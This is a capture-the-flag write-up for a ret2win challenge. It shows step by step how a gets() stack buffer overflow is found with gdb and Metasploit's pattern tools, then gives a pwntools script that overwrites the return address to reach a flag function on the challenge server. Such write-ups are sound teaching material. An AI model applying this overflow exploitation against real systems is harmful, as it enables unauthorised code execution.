Read the C code.
There is a function called super_generic_flag_reading_function_please_ret_to_me() that is not invoked by the main function.
A gets() function is also used in this binary.
gets() is a vulnerable function that accepts a line from user input until a newline character or end-of-file character is detected. Since it does not check the number of characters accepted, gets() can be used to easily overflow the buffer. If we can overflow the buffer till we overwrite the EIP, we can then jump to the super_generic_flag_reading_function_please_ret_to_me() function.
Run the binary normally.
Analysing the binary.
I would usually use these commands to get a quick overview on the type of binary.
file ret2generic-flag-reader
checksec ret2generic-flag-reader
strings ret2generic-flag-reader
Use gdb (GNU Debugger)
My aim with using gdb is to find the location of the EIP **and overwrite that value with the address of the flag function so that the program jumps to that location.
Note: For the gdb commands, scroll below.
Firstly, we should create a local file called flag.txt and fill in an arbitrary flag.
After sending in 80 "A" as the input, we can see that we have overwritten the $rip.
We need to figure out at what offset the $rip starts getting overwritten so that we will know how many junk bytes to send. To do this, we can use Metasploit's pattern_create tool and pattern_offset tool.
Create a pattern with length 80.
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 80
output: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac
Run gdb again with the output of that command.
Get the new $rip value.
Compare the pattern to see what is the offset.
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 3562413462413362
output: [*] Exact match at offset 40
This means that we need 40 junk bytes before we reach the $rip location. Now all we need to know is what the address of the function is.
For that, we can use "info functions" and get the address value.
Return address: 0x00000000004011f6
Test locally.
Write a script to test it locally. For the return address, ensure it follows Little Endian.
from pwn import *
p = process("./")
p.send("A"*40 + "\\xf6\\x11\\x40\\x00\\x00\\x00\\x00\\x00")
p.interactive()
p.close()
Running this script we get the arbitrary flag we created:
Test against the server.
Edit the script to connect to the server.
from pwn import *
p = remote("mc.ax", 31077)
p.send("A"*40 + "\\xf6\\x11\\x40\\x00\\x00\\x00\\x00\\x00")
p.interactive()
p.close()
Running the script, we will get the actual flag.
Flag: flag{rob-loved-the-challenge-but-im-still-paid-minimum-wage}
**Initial analysis**
b *main
set disassembly-flavor intel
disass main
b *main+132
run
*<breakpoint 1 reached>*
c
*user input: AAAAAA
<breakpoint 2 reached>*
info frame
**To find the offset**
run
*<breakpoint 1 reached>*
c
user input: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac
<breakpoint 2 reached>
info frame
**To find the address of the function**
info functions